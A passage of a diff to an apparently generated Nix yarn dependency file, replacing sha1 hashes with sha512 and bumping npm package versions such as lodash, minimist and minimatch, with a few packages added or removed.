-        url = "https://registry.yarnpkg.com/load-json-file/-/load-json-file-2.0.0.tgz";
-        sha1 = "eUfkIUmvgNaWy/eXvKq8/h/inKg=";
-      };
-    }
     {
       name = "locate_path___locate_path_2.0.0.tgz";
       path = fetchurl {
         name = "locate_path___locate_path_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz";
-        sha1 = "K1aLJl7slExtnA3pw9u7ygNUzY4=";
+        sha512 = "NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==";
       };
     }
     {
@@ -2229,7 +2661,7 @@ rec {
       path = fetchurl {
         name = "lodash.memoize___lodash.memoize_4.1.2.tgz";
         url = "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz";
-        sha1 = "vMbEmkKihA7Zl/Mj6tpezRguC/4=";
+        sha512 = "t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==";
       };
     }
     {
@@ -2245,15 +2677,15 @@ rec {
       path = fetchurl {
         name = "lodash.unescape___lodash.unescape_4.0.1.tgz";
         url = "https://registry.yarnpkg.com/lodash.unescape/-/lodash.unescape-4.0.1.tgz";
-        sha1 = "vyJJiGzlFM2hEvrpIYzcBlIR/Jw=";
+        sha512 = "DhhGRshNS1aX6s5YdBE3njCCouPgnG29ebyHvImlZzXZf2SHgt+J08DHgytTPnpywNbO1Y8mNUFyQuIDBq2JZg==";
       };
     }
     {
-      name = "lodash___lodash_4.17.15.tgz";
+      name = "lodash___lodash_4.17.21.tgz";
       path = fetchurl {
-        name = "lodash___lodash_4.17.15.tgz";
-        url = "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz";
-        sha512 = "8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==";
+        name = "lodash___lodash_4.17.21.tgz";
+        url = "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz";
+        sha512 = "v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==";
       };
     }
     {
@@ -2261,7 +2693,7 @@ rec {
       path = fetchurl {
         name = "log_symbols___log_symbols_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/log-symbols/-/log-symbols-1.0.2.tgz";
-        sha1 = "N2/3tY6jCGoPCfrMdGF+ylAeGhg=";
+        sha512 = "mmPrW0Fh2fxOzdBbFv4g1m6pR72haFLPJ2G5SJEELf1y+iaQrDG6cWCPjy54RHYbZAt7X+ls690Kw62AdWXBzQ==";
       };
     }
     {
@@ -2277,7 +2709,7 @@ rec {
       path = fetchurl {
         name = "log_update___log_update_2.3.0.tgz";
         url = "https://registry.yarnpkg.com/log-update/-/log-update-2.3.0.tgz";
-        sha1 = "iDKP19HOeTiykoN0bwsbwSayRwg=";
+        sha512 = "vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg==";
       };
     }
     {
@@ -2285,15 +2717,15 @@ rec {
       path = fetchurl {
         name = "loglevel_colored_level_prefix___loglevel_colored_level_prefix_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/loglevel-colored-level-prefix/-/loglevel-colored-level-prefix-1.0.0.tgz";
-        sha1 = "akAhj9x64V/HbD0PPmdsRlOIYD4=";
+        sha512 = "u45Wcxxc+SdAlh4yeF/uKlC1SPUPCy0gullSNKXod5I4bmifzk+Q4lSLExNEVn19tGaJipbZ4V4jbFn79/6mVA==";
       };
     }
     {
-      name = "loglevel___loglevel_1.6.8.tgz";
+      name = "loglevel___loglevel_1.9.2.tgz";
       path = fetchurl {
-        name = "loglevel___loglevel_1.6.8.tgz";
-        url = "https://registry.yarnpkg.com/loglevel/-/loglevel-1.6.8.tgz";
-        sha512 = "bsU7+gc9AJ2SqpzxwU3+1fedl8zAntbtC5XYlt3s2j1hJcn2PsXSmgN8TaLG/J1/2mod4+cE/3vNL70/c1RNCA==";
+        name = "loglevel___loglevel_1.9.2.tgz";
+        url = "https://registry.yarnpkg.com/loglevel/-/loglevel-1.9.2.tgz";
+        sha512 = "HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==";
       };
     }
     {
@@ -2325,7 +2757,7 @@ rec {
       path = fetchurl {
         name = "map_cache___map_cache_0.2.2.tgz";
         url = "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz";
-        sha1 = "wyq9C9ZSXZsFFkW7TyasXcmKDb8=";
+        sha512 = "8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==";
       };
     }
     {
@@ -2333,7 +2765,7 @@ rec {
       path = fetchurl {
         name = "map_obj___map_obj_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/map-obj/-/map-obj-2.0.0.tgz";
-        sha1 = "plzSkIepJZi4eRJXpSPgISIqwfk=";
+        sha512 = "TzQSV2DiMYgoF5RycneKVUzIa9bQsj/B3tTgsE3dOGqlzHnGIDaC7XBE7grnA+8kZPnfqSGFe95VHc2oc0VFUQ==";
       };
     }
     {
@@ -2341,7 +2773,7 @@ rec {
       path = fetchurl {
         name = "map_visit___map_visit_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz";
-        sha1 = "7Nyo8TFE5mDxtb1B8S80edmN+48=";
+        sha512 = "4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==";
       };
     }
     {
@@ -2352,12 +2784,20 @@ rec {
         sha512 = "+BmqxWIubKTRKNWx/ahnCkk3mG8m7OturVlqq6HiojGJTd5hVYbgZm6WzcYPCoB+KBT4Vd6R7WSRG2OADNaCjg==";
       };
     }
+    {
+      name = "math_intrinsics___math_intrinsics_1.1.0.tgz";
+      path = fetchurl {
+        name = "math_intrinsics___math_intrinsics_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz";
+        sha512 = "/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==";
+      };
+    }
     {
       name = "mem___mem_1.1.0.tgz";
       path = fetchurl {
         name = "mem___mem_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/mem/-/mem-1.1.0.tgz";
-        sha1 = "Xt1StIXKHZAP5kiVUFOZoN+kX3Y=";
+        sha512 = "nOBDrc/wgpkd3X/JOhMqYR+/eLqlfLP4oQfoBA6QExIxEl+GU01oyEkwWyueyO8110pUKijtiHGhEmYoOn88oQ==";
       };
     }
     {
@@ -2393,27 +2833,27 @@ rec {
       };
     }
     {
-      name = "minimatch___minimatch_3.0.4.tgz";
+      name = "minimatch___minimatch_3.1.2.tgz";
       path = fetchurl {
-        name = "minimatch___minimatch_3.0.4.tgz";
-        url = "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz";
-        sha512 = "yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==";
+        name = "minimatch___minimatch_3.1.2.tgz";
+        url = "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz";
+        sha512 = "J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==";
       };
     }
     {
-      name = "minimist___minimist_1.2.5.tgz";
+      name = "minimist___minimist_1.2.8.tgz";
       path = fetchurl {
-        name = "minimist___minimist_1.2.5.tgz";
-        url = "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz";
-        sha512 = "FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==";
+        name = "minimist___minimist_1.2.8.tgz";
+        url = "https://registry.yarnpkg.com/minimist/-/minimist-1.2.8.tgz";
+        sha512 = "2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==";
       };
     }
     {
-      name = "minipass___minipass_3.3.4.tgz";
+      name = "minipass___minipass_7.1.2.tgz";
       path = fetchurl {
-        name = "minipass___minipass_3.3.4.tgz";
-        url = "https://registry.yarnpkg.com/minipass/-/minipass-3.3.4.tgz";
-        sha512 = "I9WPbWHCGu8W+6k1ZiGpPu0GkoKBeorkfKNuAFBNS1HNFJvke82sxvI5bzcCNpWPorkOO5QQ+zomzzwRxejXiw==";
+        name = "minipass___minipass_7.1.2.tgz";
+        url = "https://registry.yarnpkg.com/minipass/-/minipass-7.1.2.tgz";
+        sha512 = "qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==";
       };
     }
     {
@@ -2425,11 +2865,11 @@ rec {
       };
     }
     {
-      name = "mkdirp___mkdirp_0.5.5.tgz";
+      name = "mkdirp___mkdirp_0.5.6.tgz";
       path = fetchurl {
-        name = "mkdirp___mkdirp_0.5.5.tgz";
-        url = "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz";
-        sha512 = "NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==";
+        name = "mkdirp___mkdirp_0.5.6.tgz";
+        url = "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.6.tgz";
+        sha512 = "FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==";
       };
     }
     {
@@ -2437,15 +2877,15 @@ rec {
       path = fetchurl {
         name = "ms___ms_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz";
-        sha1 = "VgiurfwAvmwpAd9fmGF4jeDVl8g=";
+        sha512 = "Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==";
       };
     }
     {
-      name = "ms___ms_2.1.2.tgz";
+      name = "ms___ms_2.1.3.tgz";
       path = fetchurl {
-        name = "ms___ms_2.1.2.tgz";
-        url = "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz";
-        sha512 = "sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==";
+        name = "ms___ms_2.1.3.tgz";
+        url = "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz";
+        sha512 = "6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==";
       };
     }
     {
@@ -2453,7 +2893,7 @@ rec {
       path = fetchurl {
         name = "mute_stream___mute_stream_0.0.7.tgz";
         url = "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.7.tgz";
-        sha1 = "MHXOk7whuPq0PhvE2n6BFe0ee6s=";
+        sha512 = "r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==";
       };
     }
     {
@@ -2469,7 +2909,7 @@ rec {
       path = fetchurl {
         name = "natural_compare___natural_compare_1.4.0.tgz";
         url = "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz";
-        sha1 = "Sr6/7tdUHywnrPspvbvRXI1bpPc=";
+        sha512 = "OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==";
       };
     }
     {
@@ -2485,7 +2925,7 @@ rec {
       path = fetchurl {
         name = "nopt___nopt_3.0.6.tgz";
         url = "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz";
-        sha1 = "xkZdvwirzU2zWTF/eaxopkayj/k=";
+        sha512 = "4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==";
       };
     }
     {
@@ -2509,7 +2949,7 @@ rec {
       path = fetchurl {
         name = "npm_run_path___npm_run_path_2.0.2.tgz";
         url = "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz";
-        sha1 = "NakjLfo11wZ7TLLd8jV7GHFTbF8=";
+        sha512 = "lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==";
       };
     }
     {
@@ -2517,7 +2957,7 @@ rec {
       path = fetchurl {
         name = "npm_which___npm_which_3.0.1.tgz";
         url = "https://registry.yarnpkg.com/npm-which/-/npm-which-3.0.1.tgz";
-        sha1 = "kiXybsOihcIJyuZ8OxGmtKtxQKo=";
+        sha512 = "CM8vMpeFQ7MAPin0U3wzDhSGV0hMHNwHU0wjo402IVizPDrs45jSfSuoC+wThevY88LQti8VvaAnqYAeVy3I1A==";
       };
     }
     {
@@ -2525,7 +2965,7 @@ rec {
       path = fetchurl {
         name = "number_is_nan___number_is_nan_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz";
-        sha1 = "CXtgK1NCKlIsGvuHkDGDNpQaAR0=";
+        sha512 = "4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==";
       };
     }
     {
@@ -2533,7 +2973,7 @@ rec {
       path = fetchurl {
         name = "object_assign___object_assign_4.1.1.tgz";
         url = "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz";
-        sha1 = "IQmtx5ZYh8/AXLvUQsrIv7s2CGM=";
+        sha512 = "rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==";
       };
     }
     {
@@ -2541,23 +2981,23 @@ rec {
       path = fetchurl {
         name = "object_copy___object_copy_0.1.0.tgz";
         url = "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz";
-        sha1 = "fn2Fi3gb18mRpBupde04EnVOmYw=";
+        sha512 = "79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==";
       };
     }
     {
-      name = "object_inspect___object_inspect_1.7.0.tgz";
+      name = "object_inspect___object_inspect_1.13.4.tgz";
       path = fetchurl {
-        name = "object_inspect___object_inspect_1.7.0.tgz";
-        url = "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.7.0.tgz";
-        sha512 = "a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==";
+        name = "object_inspect___object_inspect_1.13.4.tgz";
+        url = "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz";
+        sha512 = "W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==";
       };
     }
     {
-      name = "object_is___object_is_1.1.2.tgz";
+      name = "object_is___object_is_1.1.6.tgz";
       path = fetchurl {
-        name = "object_is___object_is_1.1.2.tgz";
-        url = "https://registry.yarnpkg.com/object-is/-/object-is-1.1.2.tgz";
-        sha512 = "5lHCz+0uufF6wZ7CRFWJN3hp8Jqblpgve06U5CMQ3f//6iDjPr2PEo9MWCjEssDsa+UZEL4PkFpr+BMop6aKzQ==";
+        name = "object_is___object_is_1.1.6.tgz";
+        url = "https://registry.yarnpkg.com/object-is/-/object-is-1.1.6.tgz";
+        sha512 = "F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==";
       };
     }
     {
@@ -2573,31 +3013,39 @@ rec {
       path = fetchurl {
         name = "object_visit___object_visit_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz";
-        sha1 = "95xEk68MU3e1n+OdOV5BBC3QRbs=";
+        sha512 = "GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==";
       };
     }
     {
-      name = "object.assign___object.assign_4.1.0.tgz";
+      name = "object.assign___object.assign_4.1.7.tgz";
       path = fetchurl {
-        name = "object.assign___object.assign_4.1.0.tgz";
-        url = "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.0.tgz";
-        sha512 = "exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==";
+        name = "object.assign___object.assign_4.1.7.tgz";
+        url = "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz";
+        sha512 = "nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==";
       };
     }
     {
-      name = "object.entries___object.entries_1.1.1.tgz";
+      name = "object.entries___object.entries_1.1.9.tgz";
       path = fetchurl {
-        name = "object.entries___object.entries_1.1.1.tgz";
-        url = "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.1.tgz";
-        sha512 = "ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==";
+        name = "object.entries___object.entries_1.1.9.tgz";
+        url = "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.9.tgz";
+        sha512 = "8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==";
       };
     }
     {
-      name = "object.fromentries___object.fromentries_2.0.2.tgz";
+      name = "object.fromentries___object.fromentries_2.0.8.tgz";
       path = fetchurl {
-        name = "object.fromentries___object.fromentries_2.0.2.tgz";
-        url = "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.2.tgz";
-        sha512 = "r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==";
+        name = "object.fromentries___object.fromentries_2.0.8.tgz";
+        url = "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz";
+        sha512 = "k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==";
+      };
+    }
+    {
+      name = "object.groupby___object.groupby_1.0.3.tgz";
+      path = fetchurl {
+        name = "object.groupby___object.groupby_1.0.3.tgz";
+        url = "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz";
+        sha512 = "+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==";
       };
     }
     {
@@ -2605,15 +3053,15 @@ rec {
       path = fetchurl {
         name = "object.pick___object.pick_1.3.0.tgz";
         url = "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz";
-        sha1 = "h6EKxMFpS9Lhy/U1kaZhQftd10c=";
+        sha512 = "tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==";
       };
     }
     {
-      name = "object.values___object.values_1.1.1.tgz";
+      name = "object.values___object.values_1.2.1.tgz";
       path = fetchurl {
-        name = "object.values___object.values_1.1.1.tgz";
-        url = "https://registry.yarnpkg.com/object.values/-/object.values-1.1.1.tgz";
-        sha512 = "WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==";
+        name = "object.values___object.values_1.2.1.tgz";
+        url = "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz";
+        sha512 = "gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==";
       };
     }
     {
@@ -2621,7 +3069,7 @@ rec {
       path = fetchurl {
         name = "once___once_1.4.0.tgz";
         url = "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz";
-        sha1 = "WDsap3WWHUsROsF9nFC6753Xa9E=";
+        sha512 = "lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==";
       };
     }
     {
@@ -2629,7 +3077,7 @@ rec {
       path = fetchurl {
         name = "onetime___onetime_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/onetime/-/onetime-2.0.1.tgz";
-        sha1 = "BnQoIw/WdEOyeUsiu6UotoZ5YtQ=";
+        sha512 = "oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==";
       };
     }
     {
@@ -2653,7 +3101,15 @@ rec {
       path = fetchurl {
         name = "os_tmpdir___os_tmpdir_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz";
-        sha1 = "u+Z0BseaqFxc/sdm/lc0VV36EnQ=";
+        sha512 = "D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==";
+      };
+    }
+    {
+      name = "own_keys___own_keys_1.0.1.tgz";
+      path = fetchurl {
+        name = "own_keys___own_keys_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz";
+        sha512 = "qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==";
       };
     }
     {
@@ -2661,7 +3117,7 @@ rec {
       path = fetchurl {
         name = "p_finally___p_finally_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz";
-        sha1 = "P7z7FbiZpEEjs0ttzBi3JDNqLK4=";
+        sha512 = "LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==";
       };
     }
     {
@@ -2685,7 +3141,7 @@ rec {
       path = fetchurl {
         name = "p_locate___p_locate_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz";
-        sha1 = "IKAQOyIqcMj9OcwuWAaA893l7EM=";
+        sha512 = "nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==";
       };
     }
     {
@@ -2717,7 +3173,7 @@ rec {
       path = fetchurl {
         name = "p_try___p_try_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz";
-        sha1 = "y8ec26+P1CKOE/Yh8rGiN8GyB7M=";
+        sha512 = "U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==";
       };
     }
     {
@@ -2736,20 +3192,12 @@ rec {
         sha512 = "GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==";
       };
     }
-    {
-      name = "parse_json___parse_json_2.2.0.tgz";
-      path = fetchurl {
-        name = "parse_json___parse_json_2.2.0.tgz";
-        url = "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz";
-        sha1 = "9ID0BDTvgHQfhGkJn43qGPVaTck=";
-      };
-    }
     {
       name = "parse_json___parse_json_4.0.0.tgz";
       path = fetchurl {
         name = "parse_json___parse_json_4.0.0.tgz";
         url = "https://registry.yarnpkg.com/parse-json/-/parse-json-4.0.0.tgz";
-        sha1 = "vjX1Qlvh9/bHRxhPmKeIy5lHfuA=";
+        sha512 = "aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==";
       };
     }
     {
@@ -2757,7 +3205,7 @@ rec {
       path = fetchurl {
         name = "pascalcase___pascalcase_0.1.1.tgz";
         url = "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz";
-        sha1 = "s2PlXoAGym/iF4TS2yK9FdeRfxQ=";
+        sha512 = "XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==";
       };
     }
     {
@@ -2765,7 +3213,7 @@ rec {
       path = fetchurl {
         name = "path_exists___path_exists_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz";
-        sha1 = "zg6+ql94yxiSXqfYENe1mwEP1RU=";
+        sha512 = "bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==";
       };
     }
     {
@@ -2773,7 +3221,7 @@ rec {
       path = fetchurl {
         name = "path_is_absolute___path_is_absolute_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz";
-        sha1 = "F0uSaHNVNP+8es5r9TpanhtcX18=";
+        sha512 = "AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==";
       };
     }
     {
@@ -2781,7 +3229,7 @@ rec {
       path = fetchurl {
         name = "path_is_inside___path_is_inside_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz";
-        sha1 = "NlQX3t5EQw0cEa9hAn+s8HS9/FM=";
+        sha512 = "DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==";
       };
     }
     {
@@ -2789,23 +3237,23 @@ rec {
       path = fetchurl {
         name = "path_key___path_key_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz";
-        sha1 = "QRyttXTFoUDTpLGRDUDYDMn0C0A=";
+        sha512 = "fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==";
       };
     }
     {
-      name = "path_parse___path_parse_1.0.6.tgz";
+      name = "path_parse___path_parse_1.0.7.tgz";
       path = fetchurl {
-        name = "path_parse___path_parse_1.0.6.tgz";
-        url = "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz";
-        sha512 = "GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==";
+        name = "path_parse___path_parse_1.0.7.tgz";
+        url = "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz";
+        sha512 = "LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==";
       };
     }
     {
-      name = "path_type___path_type_2.0.0.tgz";
+      name = "picocolors___picocolors_1.1.1.tgz";
       path = fetchurl {
-        name = "path_type___path_type_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/path-type/-/path-type-2.0.0.tgz";
-        sha1 = "8BLMuEFbcJb8LaoQVMPXI4lZTHM=";
+        name = "picocolors___picocolors_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz";
+        sha512 = "xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==";
       };
     }
     {
@@ -2813,7 +3261,7 @@ rec {
       path = fetchurl {
         name = "pify___pify_2.3.0.tgz";
